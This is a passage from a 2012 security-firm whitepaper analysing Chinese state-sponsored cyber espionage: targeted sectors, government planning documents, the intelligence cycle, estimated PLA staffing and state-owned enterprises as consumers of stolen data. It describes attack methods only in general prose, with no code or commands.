Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Crouching Tiger, Hidden Dragon, Stolen Data Context Information Security whitepapers@contextis.com March 2012 Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 1 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Contents Executive Summary Introduction Categorising Attacks Why Cyber? How Cyber? The Targets The Requirements Boosting Domestic Enterprise At Risk How Does it Happen? Setting Requirements Planning and Direction Collection Processing and Exploitation Analysis and Production Dissemination The Scale of the Operation Profiting from the Product Hypothetical Case Study: Aircraft Construction Conclusion About Context Appendix Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 2 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Executive Summary Media reports show that targeted cyber attacks against government and commerce have been ongoing since at least 2003 and possibly some time before that. By far the largest sponsor of these attacks is the Chinese state. This is not a new problem; it is espionage with a different methodology. These attacks are far from random or indiscriminate. These attacks are designed to steal information that will fulfil a clear set of requirements set by the Chinese state and furnish them with political, commercial and security/intelligence information. These requirements are carefully and clearly identified, shared with a number of government departments and constantly updated. There is evidence of worldwide targeting but only a minority of attacks are identified and fewer still made public. This is a structured program and the main protagonists in China are widely believed to be the Third Department of the People s Liberation Army. Even using conservative estimates it is likely that the program employs thousands of military personnel. While the military program may be the most developed and sophisticated, it is likely that other parts of the Chinese state and even the private sector may also be carrying out similar attacks. There are clues to the companies and types of data most at risk. In particular the Five Year Plan1 and the National Outline for Medium and Long Term S&T Development2 give detail on the areas in which China intends to excel and identifies specific technology which the Chinese want to develop or otherwise acquire. Electronics, telecoms, manufacturing, extraction, energy, biotech, pharmaceuticals, aerospace, space and defence are sectors at the highest risk, alongside companies and services such as law and accountancy firms that support them and hold their data. The likely recipients of stolen commercial data are the 117 Chinese State Owned Enterprises that dominate the economy. These companies are closely linked to the state and the Communist Party which has power over strategy, senior management and even wages. Companies with SOE competitors should be especially concerned about data security. Two factors make western governments and companies more vulnerable to Chinese targeted cyber attacks. Firstly, there is reluctance for governments and companies to accuse China directly or take any form of action for fear of either being isolated politically or being blocked from a lucrative developing market. Secondly, a long term reliance on traditional security products such as anti-virus, coupled with a lack of education about the threat, leaves businesses vulnerable to attack and unprepared for any investigations that are required in the aftermath of a compromise. Context has extensive experience of detecting and investigating targeted attacks and working with clients to help protect their data. 1 Chinese Government Official Web Portal website 2 China International Science and Technology Cooperation website Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 3 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Introduction There have been many media reports in recent years about cyber attacks on governments and a variety of private sector companies. The rather ambiguous term Advanced Persistent Threat ) is widely used to describe any attack that appears to have compromised computers in these companies or organisations, regardless of the source or purpose of the attack. We prefer simply to call them targeted attacks and leave marketing terms to one side. This paper is not concerned with the technical aspects of targeted attacks, it seeks instead to inform readers about the full scope and nature of these attacks, the reasons why they are launched and the people and policies behind their design and execution. Many reports of attacks inevitably end by asking who did it? But the answer is rarely straightforward. Western Governments usually allege the attacks come from Asia or the Far East , rather than risk offending the Chinese government. Large corporations are similarly vague in their descriptions of these events, for fear of harming lucrative business arrangements. Security experts always caution that IP addresses can be used as hop points through which attackers disguise their true origins, so perhaps this could be a case of other countries trying to make it look as if China was the source. While this is true, if something looks, walks and quacks like a duck, it is almost always a duck. We will not be so coy. This paper will look directly at the most prolific sponsor of computer network exploitation attacks: China. We know other countries have implemented similar programs for attacking computer networks and have seen many examples of these in our work over the last few years, but our focus here is China. We will examine various aspects of these attacks, including the nature of the information targeted and the types of organisations threatened. We will consider the effort involved in planning, executing and managing these attacks; and assess the information products they generate, in order to understand the scale of human involvement and the government policies that sponsor information theft via targeted attacks. With all this in mind we will then postulate on where the stolen information goes and how it may be used. 3 Advanced Persistent Threat has recently become a catch all term for targeted attacks against computer networks and is often used to describe the malware. In fact, the term was first coined by the United States Air Force in 2006, specifically to refer to China without actually saying China. Advanced because the attackers could use a variety of attacks to get access to a network and could raise their game to use zero day vulnerabilities if necessary; Persistent because the attacks would not stop until the attacker had achieved their objectives; and Threat because this attack was not automated like a botnet, but was conducted by humans who adapt and evolve their methods to evade defences. Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 4 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Categorising Attacks Many commentators have divided the targets of attacks into four categories: political, economic, technical and military. This works as a general model, but focuses on the target of the attack as a whole rather than considering the type of information the attacker seeks to steal. If a criminal gang unleashes a phishing attack aimed at harvesting banking credentials and it is the employees of a butchers shop and a bakery that fall victim to it, that does not mean the attack was targeting bread and meat. Bearing this in mind, we divide target areas into the following categories: Political. The information targeted will inform the state on the political positions of other governments on a range of issues, including economics, trade and human rights. Typical targets are government departments, embassies, trade bodies, NGOs, and international political groups such as the UN, G20, World Bank and IMF. Commercial. The information targeted will be of value to the private sector within that country (even if the lines between private and public sectors are blurred). It may include IPR, product designs, negotiating positions for sales discussions, mergers and acquisitions information and strategic plans (particularly in relation to the attacking country). Intelligence. The information targeted here will be used to safeguard internal security by the attacker country (this may entail intimidation or close monitoring of minority or opposition groups or individuals) and to enable analysis of the military technology, capabilities and intentions of other countries. There are a number of major problems that need to be overcome when seeking a complete understanding of the scale and purpose of attacks. Many will never be detected, those that are may not always be reported; and the vast majority are not investigated by professionals with a good understanding of these types of attack. Dealing with the technical aspects of the compromise alone is not enough: the victim needs to know why they were being attacked, by whom, what data was stolen and where it may go. While government agencies, such as the Centre for the Protection of National Infrastructure4 (CPNI) in the UK and the FBI5 in the US, are working successfully with larger organisations to identify potential threats, reduce the risk of successful attacks and in some cases to identify and investigate specific compromises, this assistance is not available to every company. It is not generally available to those that need it the most companies that innovate and excel in niche areas and supply technology or products that other companies make use of in larger projects. These companies live and die by the success of their research and development, but often lack the budgetary resources or expertise required to adequately protect their networks from this type of threat. Even when compromises are investigated by companies that understand the attackers and their motives, it is often not felt to be in the interests of either party to publish the findings of those investigations, or to share the results with the affected company s competitors, who 4 http://www.cpni.gov.uk 5 http://www.fbi.gov/ Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 5 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data may be suffering from similar attacks. There is also a widespread lack of understanding of targeted attacks among IT staff, a lack of dedicated IT security personnel and, sometimes as a consequence of IT functions being outsourced, an over-reliance on traditional security products such as anti-virus and firewalls both of which are ineffective against even lower end targeted attacks. The pressure exerted on IT staff from the business is primarily concerned with service uptime and availability rather than security; and budgets for even routine security operations such as penetration testing are under constant pressure. It is a sad fact that, for many businesses, money for IT security only becomes available once a serious problem has been identified, by which time it is often too late. One more common problem in private sector companies is that some managers take the attitude that they would prefer not to know about security problems. Information Technology departments may worry that commissioning a detection exercise to find compromised hosts in their environment, could reveal a series of attacks and the theft of data, which might not be good for their career prospects. Higher up the management chain, board members may even choose not to spend money on security on the grounds that this will affect profitability and perhaps the size of their salaries or bonuses. They may instead prefer to postpone any major spending on security until they absolutely have to. Why Cyber? Clearly, the Chinese government is keen to understand the political decisions taken by other countries and the activities of opposition groups within China, so it is hardly surprising that it orchestrates the compromise of computers via emailed Trojan attachments or links to compromised websites on a large scale. This is nothing new; just traditional espionage with a new methodology. Until recently China, like most other developed countries, would have hand-picked intelligence officers from universities and the military, trained them in the arts of developing relationships, recruiting agents and how to covertly gather information to pass back to Beijing. They would have been deployed to embassies overseas or under a business cover. The arrival of the Internet did not sound the death knell for human spying, it simply offered an attractive alternative. Moving espionage operations into the virtual world brings some advantages. Firstly, it does not require anyone to be sent overseas. This is an important change for the governments of communist countries, naturally suspicious of the long term intentions of even their most trusted officials. It means there is less need to invest in lengthy training processes. Instead, hacking operations can be broken down into simple tasks and partly automated to minimise the need for operators with advanced technical skills. Conducting these operations is cheap and carries a lesser risk than human espionage: even if the target is fairly certain as to the origin of an attack, the sponsoring government can claim to be a victim of mistaken identity or of a western conspiracy. But the key benefit of this type of espionage is that any piece of information stored anywhere in the world on a computer or a network connected to the Internet is only a few clicks away from being stolen. There are even attacks that are designed to jump to computers not connected to the Internet. If the prize is great enough and the attacker is determined enough, there is always a way. Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 6 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data How Cyber? This paper is not concerned with the attacks happen, which is a subject for a white paper in its own right. Typically however, the attackers target the desktops and laptops of the victim s organisation and send emails with an attachment containing an exploit, (often an Adobe PDF or Microsoft Office document) that is targeted at one person. Once the victim opens the attachment the exploit executes, typically downloading and automatically installing a Trojan, which the attacker can then use to access the victim s system. The attackers also utilise website vulnerabilities which exploit vulnerabilities in web browsers such as Internet Explorer or Firefox to download malicious code onto a machine when a user clicks on a link in an email. Once the attacker has this foothold on the network, they typically look to download and use further hacking tools to escalate privileges to gain administrative access to key internal servers such as Domain Controllers or File Servers. Once achieved, the attackers typically use another remote desktop or laptop on the network to collate the data stolen and exfilitrate it to their remote servers. In the case that a network is fully patched and constitutes a hard target, the attackers can respond and raise their game substantially. This could include exploiting a zero day vulnerability6 or employing other means of installing an implant, such as using physical access to introduce an attack or even attacking a supply chain. The Targets Despite opening up greatly over the last 15 years, China is still very much run by the Communist Party. The Party has control over and involvement in every area of daily life, but despite the internal focus, China is careful to keep an eye on the outside world and how the country s institutions and companies are perceived by foreign governments. An understanding of other countries political positions on key issues that affect China is key to forward planning, especially for an economy built on cheap exports. The governments in which the Chinese state is most interested fall into three groups: its nearest neighbours: Japan, Taiwan, the disputed (semi-autonomous) Tibet, Mongolia and the Muslim Stans to the west; other powerful states with international influence such as the US, Russia, the UK, Germany, France and India; and finally states with strong economic links to China including Brazil, Iran, Australia, parts of Africa and Southeast Asia. Whilst China will not be interested in the entire spectrum of government affairs in each of these countries, there will be some interest in some parts of all these governments activities. Gathering information on this scale is a massive task: monitoring relevant issues, identifying individuals with access to that information and crafting attacks in the appropriate form and language. The other constant preoccupation of the Chinese government is the maintenance of internal and external security. The enemies of the internal state are referred to as the Five Poisons : the separatist Uighurs (a mainly Muslim group in Northeast China), Tibetan separatists, pro-democracy supporters, supporters of an independent Taiwan and followers of the religious group Falun Gong. Keeping tabs on these groups and on their known supporters at home and overseas is another huge task. The Ministry of State Security monitors 6 A zero day vulnerability is one which is not publicly known and for which no patch exists. Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 7 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data the communications between individuals and groups, a task made considerably easier through the deployment of Trojans to compromise computer equipment. As a minimum, security services would usually seek to steal email account login and password details in order to be able to log in remotely and read emails. Google has confirmed this activity was taking place on the Gmail accounts of Chinese dissidents.7 China wants a clear picture of other countries military activities in order to inform its own tactical and strategic decisions. Human penetrations of foreign military organisations are extremely difficult and carry significant risks, so relatively passive email attacks are an excellent substitute activity, where no single incident can be seen as an act of aggression meriting a military response. It remains to be seen whether thousands of attacks conducted over a long period of time will come to be regarded as having been a provocative act warranting a military response. While China has been publicly albeit mostly not directly accused of carrying out attacks against governments, military organisations and military contractors numerous times, there are also plenty of examples of private sector organisations being targeted. Several stand out from the last few years: the Aurora8 attacks that hit Google, Adobe, Juniper, Northrup Grumman and others; the McAfee-dubbed Night Dragon9 attacks that struck companies around the world in the energy sector; and the Shady RAT 10 attacks that affected the steel industry, heavy engineering, construction and communications companies and others. Interestingly, despite reporting on the intrusions, McAfee does not highlight the fact that antivirus software did little to stop the attacks in the first place. In all likelihood all these various operations formed part of the same attack, with different groups or military units carrying out operations sponsored by the Chinese state. One attack that was clearly carefully planned, and equally linked to the others, was that conducted against RSA11, whereby attackers stole information which allowed them to replicate the SecurID tokens used by companies to authenticate individuals logging onto their networks from remote locations. Armed with those stolen credentials, an attacker would be able to log in to company networks as if a real user. The full extent of this breach has not been publicly disclosed, though we do know that Lockheed Martin was attacked and we can speculate that other defence contractors were also targeted. As full details of what was stolen have never been put into the public domain, we can only guess at the targeted information. Google claimed Intellectual Property had been stolen, though no further details were given. But these companies were all targeted for a reason. Data was identified that would somehow be of use to China. We will look at who laid out the requirements for this data next. 7 http://googleblog.blogspot.com/2010/01/new-approach-to-china.html 8 http://en.wikipedia.org/wiki/Operation_Aurora 9 http://www.mcafee.com/ca/resources/white-papers/wp-global-energy-cyberattacks- night-dragon.pdf 10 http://www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf 11 http://www.rsa.com/node.aspx?id=3872 Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 8 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data The Requirements We should never think of Chinese cyber attacks as uncoordinated, random or indiscriminate. They target companies, governments or individuals because a specific requirement has been identified. Context has studied a number of Chinese government policies, documents and stated aspirations, as well as Chinese commercial structures, which may show why targets may have been picked; and may also help companies to gauge whether their business should consider itself to be at risk of being targeted by a Chinese attacker. The key documents are the Five Year Plan and the National Outline for Medium and Long Term S&T Development. We will also theorise around the (unwritten) intelligence requirements. We will then later investigate China s state-owned enterprises as potential generators of requests for material to be stolen via targeted attacks; and as consumers of stolen data. The Five Year Plan is a series of development initiatives, both social and economic, that set high level goals for where the Communist Party would like to see the country in five years time. The latest Plan was finalised in October 2010 and applies to the period 2011 2015. It contains goals for urbanisation rates and targets for economic growth; details the foreign industries that will be invited to do business in China, the scale of proposed construction projects and areas of the country/economy where further development should be encouraged. These high level goals filter down to all government departments at national, regional and local level, where individual initiatives are managed. But the plan also hints at the areas where China feels it needs to concentrate its efforts, or where it needs to catch up with other countries elsewhere in the world. However, targeted attacks are state sponsored , which means that it is not the government that conducts the attack, but departments of the state or affiliated groups. When the government decides that, for example, it requires intelligence relating to US military operations in Afghanistan, different parts of the state intelligence apparatus will respond to this requirement, each bringing different skill sets to bear on the problem of finding the required information. For example, the People s Liberation Army (PLA) has departments with access to satellite photography, which could provide information on troop movements. Another department may have access to Signals Intelligence (SIGINT), which intercepts communications. Chinese diplomats in the country will speak with their Afghan counterparts about the situation, while intelligence officers, perhaps in diplomatic or even non-official roles, are able to exploit human agents with access to useful reporting. To complement all of these sources, cyber attacks can be used against a variety of targets such as the Pentagon, military forces in theatre, the US embassy, defence contractors and representatives of the UN and NATO. As cyber proves its worth (if it hasn t already) other parts of the government will seek to develop their own cyber capability to add to their existing capabilities, not wishing to be outshone by competing departments. One of the points on the Five Year Plan for instance is More efficient development of nuclear power under the precondition of ensured safety , which could suggest that any information gathering attacks against the nuclear energy industry (as opposed to sabotage Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 9 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data or Stuxnet12 style attacks) could be carried out with the express intention of supporting this part of the Plan. The attacks could be directed against nuclear plants themselves in an attempt to obtain operating information; construction companies, to steal building plans (which may also be of value to the military in case of war); regulatory bodies for rules, policies and procedures; and any of the hundreds of companies that build parts for the plant or develop technology used in the nuclear process. In terms of who could be carrying out the attacks, we have to consider not only the military (the Third Department of the PLA has the remit for cyber operations, though other areas are likely to have some capability too), but also nuclear construction companies, the government department with a remit for the energy industry, or any of the hacking groups that are closely affiliated to the state. Different campaigns may even be competing to steal the same information with the rewards going to the attackers who get it first. The Plan also advocates the development of high-end manufacturing, hi-tech industry, modern agriculture, high-speed rail and hydropower. The Plan does not explain in any detail how this development will be achieved, although in some cases it does specify that certain areas will be prioritised for direct foreign investment. In these cases, foreign firms are invited to partner with local firms to complete a project and engage in technology transfer . This means (officially) that the Chinese company will learn skills from the foreign company and develop their own capabilities in the area. Unofficially, it generally ends up with the foreign company having its IP and technology stolen and then finding that it no longer has an invitation to do business in the country. One good example of technology transfer can be seen in the area of high speed railways. Originally, trains were purchased from Kawasaki, Siemens and Bombardier and these manufacturers helped create the first high speed lines which opened in 2007. Soon afterwards China started to build its own high speed trains, modelled on those imported, but with reconfigured components. There is an ongoing legal case brought by Kawasaki and other Japanese companies relating to Chinese companies attempting to patent Kawasaki technology associated with high speed rail13. The current Chinese patent laws specify that the owner of a patent registered in China must be Chinese and that the Chinese holder will also be favoured over any foreign claim for the same technology. In July 2011 two high speed trains collided near Wenzhou, killing (according to state media) 40 people. There were concerns that the trains contained stolen foreign technology and it has been suggested that this is why the wreckage was buried even before the rescue operation had been completed. It has also been suggested in certain quarters that burying the wreckage stopped any investigation by the manufacturers into what went wrong (and whether or not there was stolen technology present). This action attracted widespread criticism of the government, even from some sources within China. 12 http://www.bbc.co.uk/news/technology-11388018 13 http://online.wsj.com/article/SB10001424052748704814204575507353221141616.html Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 10 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Boosting Domestic Enterprise If the Five Year Plan is short on detail, the National Outline for Medium and Long Term S&T Development is not. This policy essentially sets out the requirement for Indigenous Innovation , the areas where China should not rely on western technology, but should develop a home-grown alternative. The strong desire for domestic products stems from two issues. Firstly a suspicion that foreign technology could be used covertly in ways for which it was not originally intended it would be used (for the benefit of the attacking country). Secondly because in order to sustain high growth rates and satisfy domestic consumption it is better if China manufactures products of equal capability and sells them to its own market than it is to import goods at high prices. The plan for Indigenous Innovation drills down into each of the areas where China wants to develop a capability in some detail, even setting out priorities. The list of eleven areas comprises: Energy. Oil and gas exploration, distribution and power grids, low cost renewable energy, coal liquefaction, industrial energy efficiency Water and Mineral Resources. Distribution, conservation, desalination, zoning and development of resources Environment. Pollutant control and recycling, restoration of vulnerable ecosystems, maritime ecosystem protection, environmental change Agriculture. Genetic resource development, disease prevention, use of agro-forest biomass, multifunctional farming equipment, modern dairy industry Manufacturing Industry. Basic/generic parts/components, digital intelligent design, recycling iron and steel, marine engineering technology, engineering processes for the defence industry Transportation. Construction and maintenance technology, high speed rail, energy efficient cars, traffic control systems, alternative fuel based cars Modern Service Industry. Next generation Internet technology, high performance computers, digital media content platforms, HD displays Population / Health. Treatment of diseases, medical processes Urbanisation. Green buildings, architectural energy efficiencies Public Security. Security warning systems, bio-safety measures Defence. [Classified] In addition to these areas, which already contain a lot of areas that targeted western companies operate in, there is a further list of 16 Major Special Projects . These projects are intended to add to the overall strength of China. Previous examples of such projects include the development of the hydrogen bomb, launching satellites, manned space flights and hybrid rice. They are intended also to be a source of national pride. If one can see the potential for cyber attack to enhance many of the areas outlined above, the list below gives even more scope for the targeted theft of data from companies and governments around the world: Core electronic components, high-end general use chips and basic software products Large-scale integrated circuit manufacturing equipment and techniques Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 11 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data New generation broadband wireless mobile communication networks Advanced numeric-controlled machinery and basic manufacturing technology Large-scale oil and gas exploration Large advanced nuclear reactors Water pollution control and treatment Breeding new varieties of genetically modified organisms Pharmaceutical innovation and development Control and treatment of AIDS, hepatitis, and other major diseases Large aircraft High-definition earth observation system Manned spaceflight and lunar probe programs Classified military projects (x3) If we take the Major Special Projects as a Chinese technology wish list, we can assume there are two different methods that could be used to achieve these goals. The first involves funding research programmes in universities and companies, educating people over the long term and encouraging a culture of research, development and innovation and an acceptance that achievements in some areas will fall short of expectation. The second way of viewing the challenge is that much of this technology already exists in the rest of the world, is already proven and is (relatively) easy to obtain. Far easier to steal the work of others, re-engineer it, improve it if practicable and necessary and be seen to be contributing to the progression of the Chinese state; and to do so may also be personally rewarding for members of the Party. Failure to achieve these goals would almost certainly be seen as unacceptable. At Risk The companies that generate the target information are not the only ones at risk. We can also assume that the companies that support these areas lawyers, sub-contractors, outsourced suppliers and any government departments with links to these firms, would also be attacked as part of an effort to find supporting information. So long as the product is intended for domestic consumption only, in many cases there are minimal problems for the company targeted to have to face. Many firms would be unwilling or unable to sell their products into China anyway either because of a lack of global distribution networks, or because of export restrictions, in the case of sensitive military technologies, so the sale of an identical, stolen product would not directly harm their business. For example, a company that makes hi-tech export controlled widgets for the US military is unlikely to be able to sell its product in China to the Chinese military. In any case, the Chinese military would probably prefer to buy a Chinese product. If the widget designs are stolen and a Chinese company makes the exact same widget, protected by a Chinese patent, the end product could be sold to the PLA. While the original manufacturer may rightly be concerned by this, the company would not suffer financially. Until, that is, the product made by the Chinese firm is offered for sale around the world at a much cheaper Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 12 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data price than that for which the original product is sold, because the Chinese firm has not needed to fund R&D. At this point, buyers who simply want a widget that works will buy the cheaper one. The National Outline document goes on to specify Frontier Technologies : areas such as biotech, IT, advanced materials and manufacturing technologies, energy and marine technology, lasers and (again) aerospace, all areas in which the West has traditionally excelled and China has lagged behind. The other key area that could lead to a requirement for cyber attacks is China intelligence-gathering operation. This area is primarily controlled by the Party rather than the intelligence services themselves. Requirements in this area are likely to incorporate generic tasks to infiltrate and disrupt the activities of the Five Poisons (see above), to gather military secrets from overseas and highlight politically useful information. That could be, for example, intelligence on economic policies of the Eurozone countries regarding China, NATO plans for Afghanistan, international efforts to negotiate with North Korea or reports into human rights abuses. The intelligence services will use all of their sources HUMINT, SIGINT and cyber to address these requirements. As the list is never published we can only guess at what it contains, but one may speculate that if intensive investigations focused on the detection of cyber attacks against the Five Poisons (the GhostNet14 report was an excellent start), it is likely that the same malware and infrastructure would be revealed to have been deployed. 14 http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber- Espionage-Network Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 13 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data How Does it Happen? If we consider only the Chinese cyber attacks that have been reported we are only looking at the tip of the iceberg. First, we tend only to see reports of British or American firms being attacked, and we know that only a tiny minority of incidents are reported, because firms are either unaware they have been attacked or are afraid that publicising an incident will damage their brand, their company value or their personal careers. It is also likely that there is a huge number of small to medium sized enterprises around the world that have no idea that their crown jewels have been stolen. Governments are unlikely to admit having lost data or to accuse China directly, for fear of risking negative political and economic consequences. Individual victims living in China will be unable to complain at the intrusion to their privacy, while those outside China may have little recourse to any organisation which would take their claims seriously. To map out the process and try to think about the scale of the attacks we must start with a classic diagram of the intelligence cycle. Setting Requirements As we have already seen, China has no issue in identifying requirements. These lie across the industrial, social and economic spectrum and represent the results of a mammoth effort to identify weaknesses and areas for further development. Given that the requirements are largely focussed around technical, economic and commercial development rather than social development it is fair to expect that this exercise was not conducted by government alone, but must have been supplemented by private sector (so far as there is one). However, the setting of requirements covers many more areas than just cyber, so it would not be correct to regard this effort as having been conducted simply to support electronic attacks. Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 14 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Planning and Direction This is where things get a little bit complicated. Planning and direction activities take place on multiple levels at a Party level, regional level, local level, within every key government department, inside every company with a stake in fulfilling the requirements; and especially within the military, who evidence suggests are behind the bulk of targeted attacks. Collection This area covers the whole process of target identification, malware development, crafting the attacks, designing the social engineering, initiating attacks, controlling implants, escalating privileges on the victim network, uploading further tools to maintain and develop access, finding and exfiltrating data of interest, and cleaning up traces of the attack to hinder investigations. It also requires infrastructure (owned or stolen) to be constructed to support the attack, IP addresses or domain names updated into the implants, training of operators, language skills, management and some form of quality control process to enable some visibility over how well attacks are progressing. While much of the attack process can be automated or simplified so it can be delegated to less technically adept operators, the scale of the attack is such that many skilled hackers will be needed in an advisory capacity, to conduct manual elements of the attack, to maintain a development program and, in some cases, to share details of the latest attack vectors and vulnerabilities with those tasked with cyber defence to protect Chinese systems from similar attacks. There will also almost certainly be an administration process that logs attacks and targets, collates information on target systems, feeds data into some form of risk assessment and ensures that all ongoing attacks are focussed on the attainment of a specific requirement. This is no small operation. Processing and Exploitation If 1,000 attacks are successful and all result in large amounts of data being stolen from compromised systems, that data needs to be put into a readable format (and decrypted if necessary), made searchable, stored in a database and translated into Chinese and all these operations have to be carried out in bulk and in real time or something close to it, to allow that information to be used as quickly and effectively as possible. Of course, the actual number of active compromises at any one time is likely to be many magnitudes higher than 1,000! Analysis and Production The first problem with analysing bulk amounts of data translated from other languages is that machine translation is often of low quality, particularly for data such as emails written using more colloquial terms. The second issue is that a large proportion of the stolen documents is likely to be of a highly technical nature: If you steal documents from a widget maker then you need at least a basic knowledge of widgets to be able to understand the Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 15 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data potential value of a document and how best to exploit it. If there is a lot of widget data you will need a lot of widget specialists or risk the data being out of date by the time it is analysed. And just because someone understands widgets doesn t mean that they understand gizmos, so another team will be required to look at that data and so on. These analysts will provide feedback to operators, perhaps saying get more , or this is no good, get something else . They may also provide search terms for documents. All this analysis will then need to be written up into reports which should try to protect the source of the information. Dissemination If the information is to be useful the reporting process has to be fast, in order to get useful information to the right people. Dissemination of intelligence reports to security and intelligence officers should be straightforward as all people in the process will have clearances. But we can assume (although there are no guarantees) that this information is highly classified and dissemination is carefully controlled, which makes disseminating it to government officials a little more difficult, especially if those officials are based outside Beijing, because encrypted links or maybe a network of trusted couriers will be required to transport the reports. The most difficult task will be delivering reports on commercial or technical development to the right people. The most trusted individuals will be at the top of organisations, probably as a result of their loyalty to the Party, but these are not necessarily the people able to understand, interpret and exploit the information contained within the report. So the report or elements of it must be passed downwards to those who do understand it. This means a significant increase in the number of people who are aware, which represents a significant risk. The Party must also decide to which companies it will pass information if five companies all produce widgets do you give the information on next generation widgets to one of them, or all of them? We will look at one way the Party addresses this issue below. Getting the dissemination right should in turn generate more requirements and help to create a more refined requirement to feed back into the process and drive the next data acquisition cycle. Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 16 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data The Scale of the Operation Most authorities attribute responsibility for cyber attacks and intelligence gathering to the Third Department of the PLA (3PLA) and accept that the Second Department (2PLA) may also have a role to play. Accurate figures for the size of these Departments are not publicly available, but the more success the attackers have, the more funding they are likely to get for further attacks. Other branches of the military may then see the possibility for increased funding and political glory by competing in the same space. One very thorough report by Project 204915, a group who analyse the Asian security landscape among other topics, details the Third Department of the PLA and outlines their broader activities and structure. Their role is primarily SIGINT aimed at intercepting radio, telecoms and email communications and reporting the content as intelligence. The report contains a figure (though they make clear this is estimated) of 130,000 people being part of the 3PLA. The 2PLA is concerned with Human Intelligence (HUMINT) as well as SIGINT to support its military intelligence mission. So trying to work out how many people are involved in this process is only ever going to be based on educated guesswork. If we look simply at the effort in the 3PLA, put aside all other groups for now and take the figure of 130,000 as true, there is a very large pool of available personnel who are able to support cyber operations. However, as we have stated above, the 3PLA has a remit broader than simply cyber and other areas are far more established. Numbers working in the requirements capture and planning area are probably in the low hundreds. Trying to gauge the size of the collection effort is difficult and requires a large margin of error. But it is fair to assume that several hundred people could do the target development work; around a hundred dedicated specialists could work on malware development (with the Chinese hacking community providing new tools at regular intervals); perhaps one or two thousand low level operators (the team) supported by another few hundred with more advanced skills (the team) who look after the most sensitive intrusions; an infrastructure team of a few dozen; and an operational security team of a few dozen more. Then come the processing and analysis experts: potentially a pool of several thousand specialists able to read and write in a wide variety of languages; hundreds if not thousands of specialists in all of the fields of information being stolen politics, economics, engineering, IT, science, etc; hundreds of report writers; dozens of people processing data; and dozens more administering the whole process. If these very rough figures are anywhere close to reality, at least 7,000 people are directly involved in hacking foreign computer networks for the Chinese military and processing the output of those attacks. Potentially many thousands more see the reporting and are aware of the sorts of results generated by these operations. 15http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 17 / 33 Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Profiting from the Product So who is most likely to profit from the information being gathered through these attacks? The political, economic and intelligence reporting has a clear audience, but deciding who the commercial intelligence should be passed to presents a more taxing problem. Which companies receive this kind of assistance? The answer may lie in the particular brand of capitalism which China practices. China is no longer the planned economy it once was and some Chinese companies are now among the largest in the world. But this is not capitalism as we know it and these companies are far from being truly private . All the largest companies in China are State Owned Enterprises (SOEs) in which the state is the largest (or only) shareholder. The state can and does change company board members at will and members of the armed forces are routinely brought into senior management roles. But in addition to simply appointing the heads of companies, the Party also has a final say over the strategic direction of each company, business planning processes and the size of salaries paid to employees. After all, if companies are seen to be profiting unfairly at the expense of the workers that could lead to political unrest. There are currently 117 companies classed as SOEs and under the control of the Stateowned Assets Supervision and Administration Commission (SASAC), the primary shareholder in these companies. To give some idea of the scale of SOEs, they now comprise 80% of the value of China s stock market. Yet in the last 10 years, the number of SOEs has almost halved as SASAC has pushed through mergers of companies with similar strengths to consolidate the overall power of these companies in various sectors and make them more competitive outside China. SASAC works alongside the Communist Party s Organisation Department, which acts as a human resources department and makes certain that those running these businesses care every bit as much (if not more) about pleasing Party bosses as they do about their success in business. In addition to the Party s input to the strategies pursued by these companies, the state is also instrumental in guiding them to financial success by other means. Most significantly it arranges cheap lines of credit, allowing companies to borrow money for expansion; and provides a ready-made market for the company the Party has the ability to block competitors from any industry or to introduce policies which make competitors more expensive. The state can also provide considerable human resources if a particular company or industry needs to increase production suddenly: large pools of labour in China work for the state rather than companies and so form a mobile and flexible workforce. But if at the end of the day the products or services a company offers are outdated or of poor quality, that company will fail. The Party has a vested interest in every SOE performing well Context Information Security 30 Marsh Wall, London, E14 9TP +44 (0) 207 537 7515 www.contextis.com 18 / 33 Whitepaper / Crouching Tiger, 